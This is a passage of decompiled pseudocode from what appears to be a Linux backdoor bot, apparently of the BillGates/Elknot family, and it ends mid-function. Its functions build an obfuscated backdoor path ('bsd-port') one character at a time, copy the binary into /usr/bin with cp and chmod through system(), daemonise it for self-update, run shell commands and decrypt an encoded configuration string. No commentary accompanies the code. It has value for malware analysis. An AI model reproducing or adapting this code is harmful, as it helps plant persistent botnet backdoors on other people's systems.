std___Destroy_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma__std__allocator_lt_CDevice_gt___gt_(v20); std__allocator_lt_CDevice_gt_(v18); int32_t * v21 = a1->e2; // 0x8075d9e int32_t v22 = *(int32_t *)a1; // 0x8075da6 int32_t v23 = *(int32_t *)a1; // 0x8075db6 std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt____M_deallocate((int32_t *)a1, (int32_t *)v23, (int32_t *)(((int32_t)v21 - v22) / 16)); __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(v10); a1->e0 = v14; __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base((int32_t *)v17); a1->e1 = v14; __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(v10); *(int32_t *)((int32_t)a1 + 8) = 16 * (int32_t)v9 + (int32_t)v14; v4 = (int32_t *)a1; // branch -> 0x8075e15 } else { // 0x80759ba __gnu_cxx____mt_alloc_base_lt_CDevice_gt___construct((int32_t *)a1, a1->e1); a1->e1 = (int32_t *)((int32_t)a1->e1 + 16); CDevice_341((int32_t)v1, (int32_t)a3); int32_t * v24 = a1->e1; // 0x80759fe int32_t * v25; __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(v25, (int32_t *)((int32_t)v24 - 16)); int32_t * v26 = a1->e1; // 0x8075a1d int32_t * v27; __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(v27, (int32_t *)((int32_t)v26 - 32)); int32_t ** v28; std__copy_backward_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(v28, a2, v27, v25); int32_t v29 = __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_(a2); // 0x8075a56 CDevice__operator_eq_((int32_t *)v29, &v1->e0); v4 = (int32_t *)CDevice_339((int32_t)v1); // branch -> 0x8075e15 } // 0x8075e15 g98 = v3; g101 = v2; return (int32_t)v4; } // Address range: 0x8075e1c - 0x8075e8b int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___push_back(int32_t * a1, int32_t * a2) { int32_t v1 = (int32_t)a1; // 0x8075e22 int32_t * v2 = (int32_t *)(v1 + 4); // 0x8075e25_0 int32_t * v3; // 0x8075e80_5 if (*v2 == *(int32_t *)(v1 + 8)) { // 0x8075e5c int32_t * v4; std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___end(v4, a1); v3 = (int32_t *)std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt____M_insert_aux((struct struct_12 *)a1, v4, a2); // branch -> 0x8075e88 } else { // 0x8075e32 __gnu_cxx____mt_alloc_base_lt_CDevice_gt___construct(a1, (int32_t *)*v2); *v2 = *v2 + 16; v3 = a1; // branch -> 0x8075e88 } // 0x8075e88 return (int32_t)v3; } // Address range: 0x8075eda - 0x8075f71 int32_t CSysTool__GetUpdateTemporary(int32_t * a1) { std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(a1); int32_t v1; CUtility__GetCurrentPathFile(&v1, "update_temporary"); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v1); return (int32_t)a1; } // Address range: 0x8075f72 - 0x8076065 int32_t CSysTool__IsUpdateTemporary(int32_t a1) { int32_t v1; std__allocator_lt_char_gt__598(v1); int32_t v2; int32_t v3; int32_t v4; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v2, (int32_t)"update_temporary", v1, v4, v3, 0); std__allocator_lt_char_gt_(); int32_t v5; CUtility__GetCurrentPathFile_542(&v5); int32_t v6 = std__string__compare(&v2, &v5); // 0x8075fee std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v5); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2); return v6 == 0; } // Address range: 0x8076066 - 0x8076143 int32_t CSysTool__GetBackDoorPath(int32_t * a1) { // 0x8076066 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(a1); std__string__append(a1, 1, 98); std__string__append(a1, 1, 115); std__string__append(a1, 1, 100); std__string__append(a1, 1, 45); std__string__append(a1, 1, 112); std__string__append(a1, 1, 111); std__string__append(a1, 1, 114); std__string__append(a1, 1, 116); return (int32_t)a1; } // Address range: 0x8076144 - 0x8076221 int32_t CSysTool__Mkdir(int32_t * a1) { int32_t v1 = g98; // 0x8076147 int32_t v2; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v2); int32_t v3 = 47; // bp-308 CUtility__GetPathA((char *)&v2, (int32_t)a1, (char *)&v3); v3 = 256; int32_t * v4; memcpy(v4, (int32_t *)0x81037e0, 256); int32_t v5 = std__string__c_str(&v2); // 0x8076196 v3 = v5; _IO_sprintf((int32_t)v4, (int32_t)"mkdir -p %s", v5); int32_t system_rc = system((char *)v4); // 0x80761c0 g98 = (((int32_t)(system_rc == -1) | system_rc & -256) ^ 1) % 2; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2); int32_t result = g98; // 0x80761e0 g98 = v1; return result; } // Address range: 0x8076222 - 0x807624f int32_t CSysTool__CloseAllFileDescs(void) { int32_t v1 = 3; // bp-8 int32_t fd = 3; // 0x8076242 close(fd); int32_t v2 = fd + 1; // 0x8076242 v1 = v2; // branch -> 0x8076231 while (v2 < 1024) { // 0x8076231 fd = v2; close(fd); v2 = fd + 1; v1 = v2; // continue -> 0x8076231 } // 0x807624d return &v1; } // Address range: 0x8076250 - 0x80762f7 int32_t CSysTool__CloseResources(void) { // 0x8076250 if (g60 != 0) { // 0x807625f CManager__CloseAllSockets((char *)g60, (int32_t)g2); // branch -> 0x8076272 } // 0x8076272 g95 = g7; int32_t result; if (g7 == 0) { int32_t fd = g11; // 0x807627b if (fd >= 1) { // 0x8076284 g95 = fd; g11 = -1; result = close(fd); // branch -> 0x80762f5 } else { result = fd; } // 0x80762f5 return result; } // 0x80762a1 g95 = g7; if (g7 == 1) { int32_t fd2 = g12; // 0x80762ab if (fd2 >= 1) { // 0x80762b4 g95 = fd2; g12 = -1; result = close(fd2); // branch -> 0x80762f5 } else { result = fd2; } } else { int32_t fd3 = g10; // 0x80762d1 if (fd3 >= 1) { // 0x80762da g95 = fd3; g10 = -1; result = close(fd3); // branch -> 0x80762f5 } else { result = fd3; } } // 0x80762f5 return result; } // Address range: 0x80762f8 - 0x807637f int32_t CSysTool__RunLinuxShell(int32_t * a1) { int32_t pid = fork(); // 0x8076301 if (pid != 0) { int32_t result = waitpid(pid, &g2->e0, (int32_t)g2); // 0x8076376 return result; } // 0x807630f CSysTool__CloseResources(); int32_t * v1; memcpy(v1, (int32_t *)0x8103900, 256); strcpy((char *)v1, (char *)a1); system((char *)v1); exit((int32_t)v1); // UNREACHABLE } // Address range: 0x8076396 - 0x80764dd int32_t CSysTool__WritePid(char * path) { int32_t length; // 0x807642e int32_t fd; // 0x8076406 int32_t pid; // 0x8076466 int32_t * v1; int32_t v2; int32_t result; // 0x80764d21 if (CFileOp__FileExists(path) == 1) { // 0x80763f9 fd = open(path, O_RDWR); if (fd > 0) { // 0x8076426 length = (int32_t)g2; ftruncate(fd, length); __libc_lseek(fd, length, length); memcpy(v1, (int32_t *)0x8103a00, 128); pid = getpid(); _IO_sprintf((int32_t)v1, (int32_t)"%d", pid); strlen((char *)&v2); __libc_write(); close(fd); result = 1; // branch -> 0x80764d2 } else { result = 0; } } else { int32_t fd2 = open(path, O_CREAT | O_EXCL); // 0x80763cb if (fd2 > 0) { // 0x80763eb close(fd2); // branch -> 0x80763f9 // 0x80763f9 fd = open(path, O_RDWR); if (fd > 0) { // 0x8076426 length = (int32_t)g2; ftruncate(fd, length); __libc_lseek(fd, length, length); memcpy(v1, (int32_t *)0x8103a00, 128); pid = getpid(); _IO_sprintf((int32_t)v1, (int32_t)"%d", pid); strlen((char *)&v2); __libc_write(); close(fd); result = 1; // branch -> 0x80764d2 } else { result = 0; } } else { result = 0; } } // 0x80764d2 return result; } // Address range: 0x80764de - 0x8076585 int32_t CSysTool__MarkPid(char * path, char ** a2) { int32_t result = 0; // 0x80765801 if (CSysTool__WritePid(path) == 1) { int32_t fd = open(path, O_RDWR); // 0x8076515 char * v1 = (char *)fd; // 0x807651d_0 if (fd > 0) { int32_t v2 = flock(fd, LOCK_EX | LOCK_NB); // 0x8076537 int32_t v3 = v2 == 0; // 0x8076541 int32_t v4 = v3 | v2 & -256; // 0x8076541 int32_t v5 = v4; // 0x8076561 if (a2 != NULL) { // 0x807654d if (v2 == 0 != false) { // 0x8076553 if (v1 >= (char *)1) { // 0x8076559 *a2 = v1; v5 = fd; // branch -> 0x8076561 } else { v5 = v4; } } else { v5 = v4; } } // 0x8076561 if ((v5 & -256 || v3) != 1) { // 0x807656b close(fd); // branch -> 0x8076579 } // 0x8076579 result = v3; // branch -> 0x8076580 } else { result = 0; } } // 0x8076580 return result; } // Address range: 0x8076586 - 0x8076623 int32_t CSysTool__IsPidExist(char * path) { int32_t result = 0; // 0x807661f1 if (CFileOp__FileExists(path) == 1) { int32_t fd = open(path, O_RDWR); // 0x80765bd if (fd > 0) { int32_t v1 = flock(fd, LOCK_EX | LOCK_NB); // 0x80765df if (v1 == 0 != false) { // 0x80765f5 flock(fd, LOCK_UN); // branch -> 0x8076605 } // 0x8076605 result = ((close(fd) & -256 | (int32_t)(v1 == 0)) ^ 1) % 2; // branch -> 0x807661f } else { result = 0; } } // 0x807661f return result; } // Address range: 0x8076624 - 0x8076811 int32_t CSysTool__ReleaseGates(int32_t * a1, int32_t * a2) { CSysTool__Mkdir(a1); int32_t v1; std__allocator_lt_char_gt__598(v1); int32_t v2; int32_t * v3; int32_t v4; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v2, (int32_t)a2, v1, v4, (int32_t)v3, 0); std__allocator_lt_char_gt_(); int32_t v5 = std__string__length(&v2); // 0x80766a8 if (((int32_t)(v5 == 0) || v5 & -256) != 0) { // 0x80766b9 CUtility__GetModuleFullPath(&v2); // branch -> 0x80766c8 } // 0x80766c8 int32_t v6; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v6); int32_t v7 = 47; CUtility__GetPathA((char *)&v6, (int32_t)a1, (char *)&v7); v7 = 256; int32_t * v8; memcpy(v8, (int32_t *)0x8103ba0, 256); int32_t v9 = std__string__c_str(&v6); // 0x8076710 v7 = v9; _IO_sprintf((int32_t)v8, (int32_t)"mkdir -p %s", v9); system((char *)v8); v7 = 256; int32_t * v10; memcpy(v10, (int32_t *)0x8103aa0, 256); int32_t v11 = std__string__c_str(&v2); // 0x8076767 v7 = v11; _IO_sprintf((int32_t)v10, (int32_t)"cp -f %s %s", v11); system((char *)v10); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v6); int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2); // 0x8076805 return result; } // Address range: 0x8076812 - 0x807684b int32_t CSysTool__ReleaseAndStartGates(int32_t * a1) { // 0x8076812 CSysTool__ReleaseGates(a1, (int32_t *)""); CUtility__Sleep((int32_t *)1000); return CSysTool__RunLinuxShell(a1); } // Address range: 0x807684c - 0x807690d int32_t CSysTool__SetBeikongPathfile(void) { int32_t fd = open("/tmp/notify.file", 578); // 0x8076860 int32_t result; // 0x8076900 if (fd >= 0) { // 0x8076875 int32_t v1; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v1); CUtility__GetModuleFullPath(&v1); std__string__length(&v1); std__string__c_str(&v1); __libc_write(); close(fd); result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v1); // branch -> 0x8076908 } else { result = fd; } // 0x8076908 return result; } // Address range: 0x807690e - 0x80769ff int32_t CSysTool__GetBeikongPathfile(int32_t result) { int32_t v1 = g98; // 0x8076911 g95 = 256; int32_t v2 = 256; // bp-292 int32_t * v3; memcpy(v3, (int32_t *)0x8103cc0, 256); int32_t v4 = (int32_t)"/tmp/notify.file"; // bp-300 __new_fopen((int32_t)"/tmp/notify.file", (int32_t)"r+"); int32_t v5 = g95; // 0x807694b int32_t v6; int32_t v7; if (v5 == 0) { // 0x807690e v6 = (int32_t)v3; // branch -> 0x807697c } else { // 0x8076954 v2 = v5; int32_t v8 = (int32_t)v3; // 0x8076966 _IO_fgets(v8, 255, &v2, v7); v4 = v5; __new_fclose(&v4); v6 = v8; // branch -> 0x807697c } // 0x807697c v4 = (int32_t)"/tmp/notify.file"; remove("/tmp/notify.file"); g98 = result; int32_t v9; std__allocator_lt_char_gt__598(v9); v4 = g98; int32_t v10; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v4, v6, v9, v7, v10, 0); std__allocator_lt_char_gt_(); g98 = v1; return result; } // Address range: 0x8076a00 - 0x8076bd7 int32_t CSysTool__IsUnderBDDir(int32_t a1) { int32_t * v1; CSysTool__GetBackDoorPath(v1); int32_t v2; std__allocator_lt_char_gt__598(v2); int32_t * v3; int32_t v4; int32_t v5; int32_t v6; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(v3, (int32_t)"/usr/bin/", v2, v6, v5, v4); int32_t v7; _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_((char *)&v7, (char *)v3, (char *)v1); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v3); std__allocator_lt_char_gt_(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v1); int32_t v8; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v8); int32_t v9; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v9); CUtility__GetModuleFullPath(&v8); int32_t v10 = std__string__c_str(&v8); // 0x8076b0f int32_t v11 = 47; // bp-92 CUtility__GetPathA((char *)&v9, v10, (char *)&v11); int32_t v12 = std__string__compare(&v9, &v7); // 0x8076b34 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v9); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v8); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v7); return v12 == 0; } // Address range: 0x8076bd8 - 0x8076cdb int32_t CSysTool__GetBackDoorFile(int32_t * a1, int32_t a2, int32_t a3) { int32_t v1 = g98; // 0x8076bdb int32_t result = (int32_t)a1; // 0x8076bdf g98 = result; int32_t v2; std__allocator_lt_char_gt__598(v2); int32_t * v3; int32_t v4; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)g98, (int32_t)"/usr/bin/", v2, v4, (int32_t)v3, 0); std__allocator_lt_char_gt_(); int32_t * v5; CSysTool__GetBackDoorPath(v5); std__string__append_671(a1, v5); std__string__append(a1, 1, 47); std__string__append_669(a1, a2); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v5); g98 = v1; return result; } // Address range: 0x8076cdc - 0x8076e85 int32_t CSysTool__CheckGatesType(int32_t a1) { // 0x8076cdc char * v1; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_((int32_t *)v1); CUtility__GetModuleFullPath((int32_t *)v1); int32_t v2 = std__string__c_str(&g49); // 0x8076d09 int32_t * v3; int32_t v4; CSysTool__GetBackDoorFile(v3, v2, v4); int32_t v5 = std__string__c_str(&g57); // 0x8076d29 int32_t v6 = std__string__c_str((int32_t *)v1); // 0x8076d3b strcmp((char *)v6, (char *)v5); if (((int32_t)(v6 == 0) || v6 & -256) != 0) { // 0x8076d5b g7 = 0; // branch -> 0x8076e3a // 0x8076e3a std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v3); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v1); return 0; } int32_t v7 = std__string__c_str(v3); // 0x8076d71 int32_t v8 = std__string__c_str((int32_t *)v1); // 0x8076d83 strcmp((char *)v8, (char *)v7); int32_t result; if (((int32_t)(v8 == 0) || v8 & -256) == 0) { // 0x8076e02 if (g14 > 0) { int32_t v9 = 0; while (true) { int32_t v10 = std__string__c_str((int32_t *)v1); // 0x8076dbf char * str = g15[v9]; // 0x8076dcc strcmp(str, (char *)v10); int32_t v11 = (int32_t)str; // 0x8076de0 if (((int32_t)(v11 == 0) || v11 & -256) != 0) { // 0x8076de9 g7 = 3; // branch -> 0x8076e3a // 0x8076e3a std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v3); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v1); return 3; } int32_t v12 = v9 + 1; // 0x8076e00 if (v12 >= g14) { // break -> 0x8076e0c break; } v9 = v12; // continue -> 0x8076db8 } // 0x8076e0c g7 = 1; // branch -> 0x8076e3a // 0x8076e3a std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v3); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v1); return 1; } // 0x8076e0c g7 = 1; result = 1; // branch -> 0x8076e3a } else { // 0x8076da3 g7 = 2; result = 2; // branch -> 0x8076e3a } // 0x8076e3a std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v3); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v1); return result; } // Address range: 0x8076e86 - 0x8076edf int32_t CSysTool__GetBackDoorLockFile(int32_t * a1, int32_t a2) { int32_t result = (int32_t)a1; // 0x8076e8d g95 = result; int32_t v1; CSysTool__GetBackDoorFile(a1, a2, v1); std__string__append_669(a1, (int32_t)".lock"); return result; } // Address range: 0x8076ee2 - 0x8076f83 int32_t CSysTool__GetSystoolPath(int32_t result) { int32_t v1 = result; // bp-44 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v1); v1 = result; std__string__append(&v1, 1, 100); v1 = result; std__string__append(&v1, 1, 112); v1 = result; std__string__append(&v1, 1, 107); v1 = result; std__string__append(&v1, 1, 103); v1 = result; std__string__append(&v1, 1, 100); return result; } // Address range: 0x8076f86 - 0x807708f int32_t CSysTool__GetSystoolFile(int32_t * a1, char * a2, int32_t a3) { // 0x8076f86 int32_t v1; int32_t v2 = v1; // bp-20 int32_t v3 = g98; // 0x8076f89 int32_t result = (int32_t)a1; // 0x8076f8d g98 = result; int32_t v4; std__allocator_lt_char_gt__598(v4); int32_t * v5; int32_t v6; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)g98, (int32_t)"/usr/bin/", v4, v6, (int32_t)v5, 0); std__allocator_lt_char_gt_(); CSysTool__GetSystoolPath(v1); std__string__append_671(a1, &v2); std__string__append(a1, 1, 47); if (a2 != NULL) { // 0x8077023 std__string__append_669(a1, (int32_t)a2); // branch -> 0x8077051 } // 0x8077051 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2); g98 = v3; return result; } // Address range: 0x8077090 - 0x80772eb int32_t CSysTool__HandleSystools(int32_t * a1) { int32_t v1; int32_t v2; CSysTool__GetSystoolFile(&v1, "md", v2); int32_t v3 = std__string__c_str(&v1); // 0x80770b5 CSysTool__Mkdir((int32_t *)v3); int32_t result; // 0x80772de if (g14 <= 0) { // 0x80772d7 result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v1); return result; } int32_t v4 = 0; while (true) { // 0x80770d5 int32_t v5; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v5); CUtility__GetFileA(&v5, (int32_t)g15[v4], 47); int32_t v6 = std__string__c_str(&v5); // 0x8077107 int32_t * v7; CSysTool__GetSystoolFile(v7, (char *)v6, 47); if (CFileOp__FileExists(g15[v4]) != 0) { int32_t v8 = std__string__c_str(v7); // 0x8077144 if (CFileOp__FileExists((char *)v8) != 1) { // 0x807715f int32_t * v9; memcpy(v9, (int32_t *)0x81041e0, 1024); std__string__c_str(v7); char * v10 = g15[v4]; // 0x8077191 _IO_sprintf((int32_t)v9, (int32_t)"cp -f %s %s", (int32_t)v10); system((char *)v9); // branch -> 0x80771c0 } // 0x80771c0 CSysTool__ReleaseGates((int32_t *)g15[v4], a1); int32_t * v11; memcpy(v11, (int32_t *)0x8103de0, 1024); char * v12 = g15[v4]; // 0x80771fa _IO_sprintf((int32_t)v11, (int32_t)"chmod 0755 %s", (int32_t)v12); system((char *)v11); // branch -> 0x8077250 } // 0x8077250 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v7); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v5); int32_t v13 = v4 + 1; // 0x8077296 if (v13 >= g14) { // break -> 0x80772d7 break; } v4 = v13; // continue -> 0x80770d5 } // 0x80772d7 result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v1); return result; } // Address range: 0x80772ec - 0x8077905 int32_t CSysTool__DoUpdate(int32_t a1, int32_t a2) { struct struct_3 * v1 = NULL; // bp-52 struct struct_3 * v2 = NULL; // bp-21 int32_t v3; int32_t v4 = v3; // bp-16 int32_t v5 = g102; // 0x80772ef int32_t v6 = 0; // bp-680 int32_t v7 = daemon(1, (int32_t)g2); // 0x80772fe int32_t result = v7 < 0; // 0x8077904_11 if (v7 < 0 == false) { // 0x8077311 CUtility__Sleep((int32_t *)3000); v6 = *(int32_t *)(a2 + 8); int32_t v8; CUtility__GetCurrentPathFile(&v8, (char *)&v6); int32_t v9; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v9); CUtility__GetModuleFullPath(&v9); int32_t v10; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v10); int32_t v11; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v11); std__allocator_lt_std__string_gt__42((int32_t)v2); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_(v1, v2); std__allocator_lt_std__string_gt_(&v2->e0); int32_t v12; if (a1 == 5) { // 0x80773b0 int32_t v13; CUtility__GetDoFun((struct struct_45 *)&v13, (struct struct_45 *)*(int32_t *)(a2 + 12)); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v13); int32_t * v14; memcpy(v14, (int32_t *)0x8104600, 512); int32_t v15 = std__string__c_str(&v11); // 0x8077437 g102 = g54; CUtility__IntDe(atoi((char *)*(int32_t *)(a2 + 16))); int32_t v16 = std__string__c_str(&g57); // 0x8077495 v6 = v15; v12 = (int32_t)"%s:%d:%d:%d:%d:%s"; int32_t v17 = (int32_t)v14; // 0x80774c8 _IO_sprintf(v17, (int32_t)"%s:%d:%d:%d:%d:%s", v16); CDjfl87__QQifu5(v3, v17, (int32_t)"Google"); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4); // branch -> 0x8077535 } int32_t * v18 = (int32_t *)(a2 + 4); // 0x807753b_0 if (atoi((char *)*v18) == 5) { int32_t * v19 = (int32_t *)(a2 + 12); // 0x8077558_0 int32_t len = strlen((char *)*v19); // 0x807756e int32_t v20 = *v19; // 0x8077581 int32_t v21 = std__string__c_str(&v8); // 0x807759b v12 = 1024; CFileOp__ModifyFile((char *)v21, (int32_t *)g54, &v12, v20, (int32_t *)-((-1 * len))); int32_t v22 = std__string__length(&v10); // 0x80775cd int32_t v23 = std__string__c_str(&v10); // 0x80775e2 int32_t v24 = g53; // 0x80775f0 g102 = v24; int32_t v25 = std__string__c_str(&v8); // 0x8077603 v12 = 512; CFileOp__ModifyFile((char *)v25, (int32_t *)v24, &v12, v23, (int32_t *)v22); if (CSysTool__IsUnderBDDir(v6) != 0) { int32_t v26 = std__string__c_str(&v8); // 0x8077642 CSysTool__HandleSystools((int32_t *)v26); // branch -> 0x80777d3 } } else { // 0x807765b if (atoi((char *)*v18) == 6) { int32_t v27 = std__string__c_str(&v8); // 0x807767f CFileOp__RemoveFile((char *)v27); int32_t v28 = std__string__c_str(&v8); // 0x807769a int32_t v29 = std__string__c_str(&v9); // 0x80776af CFileOp__C0pyFile(v29, v28); if (a1 == 5) { int32_t * v30 = (int32_t *)(a2 + 12); // 0x80776d9_0 int32_t len2 = strlen((char *)*v30); // 0x80776ef int32_t v31 = *v30; // 0x8077702 int32_t v32 = std__string__c_str(&v8); // 0x807771c v12 = 1024; CFileOp__ModifyFile((char *)v32, (int32_t *)g54, &v12, v31, (int32_t *)-((-1 * len2))); int32_t v33 = std__string__length(&v10); // 0x807774e int32_t v34 = std__string__c_str(&v10); // 0x8077763 int32_t v35 = g53; // 0x8077771 g102 = v35; int32_t v36 = std__string__c_str(&v8); // 0x8077784 v12 = 512; CFileOp__ModifyFile((char *)v36, (int32_t *)v35, &v12, v34, (int32_t *)v33); if (CSysTool__IsUnderBDDir(v6) != 0) { int32_t v37 = std__string__c_str(&v8); // 0x80777bf CSysTool__HandleSystools((int32_t *)v37); // branch -> 0x80777d3 } } } } int32_t v38 = std__string__c_str(&v8); // 0x80777da CSysTool__RunLinuxShell((int32_t *)v38); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v1); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v11); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v10); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v9); int32_t v39 = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v8); // 0x80778f6 result = v39; // branch -> 0x80778fe } // 0x80778fe g102 = v5; return result; } // Address range: 0x8077906 - 0x8077cef int32_t CSysTool__Ikdfu94(void) { int32_t v1; int32_t v2 = v1; // bp-36 int32_t v3; int32_t v4 = v3; // bp-32 int32_t v5; int32_t v6 = v5; // bp-12 int32_t v7 = g100; // 0x8077906 int32_t v8 = g98; // 0x8077909 if (g7 == 3) { // 0x8077cea g98 = v8; g100 = v7; return 3; } // 0x807791b int32_t v9; int32_t result = CSysTool__IsUpdateTemporary(v9); // 0x807791b if (result != 0) { // 0x8077cea g98 = v8; g100 = v7; return result; } // 0x8077928 int32_t v10; CUtility__EString(v5, (int32_t)"27B911051397CEFFF467389F1363F3E3CEC318FA41B6FCE748AF59E261BDBDF9BE5AEA357CAACA7F85CB800609757E0D8C34A309105E9634471EF908D3C2CEBCB1ECCD74AD64053AB99633030BB9DEE6B466C1114ABB5543DEC69D493742FA786681882274F8ADC3DF19AB2FAEEAE9C21390BA7147FFBB097551901A1E9B7946OB30FCC058F1A7AA50C2E4D36FADDED84B9720B1F61B2DB85B9E812E59626090B4D114B6059BC42D203599B4D3350D1F50533611FECA8E1FB6741FAF804FFA9C7DCEB1ECFF9148F9065BF8AAF23A6676411632BCE31A272650024FFA674904B8FBAF2482C850ADEB8C1D50769BCE54CDA2C69541236A2AFAA3F57AA7337E659D", v10); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v6); int32_t v11 = 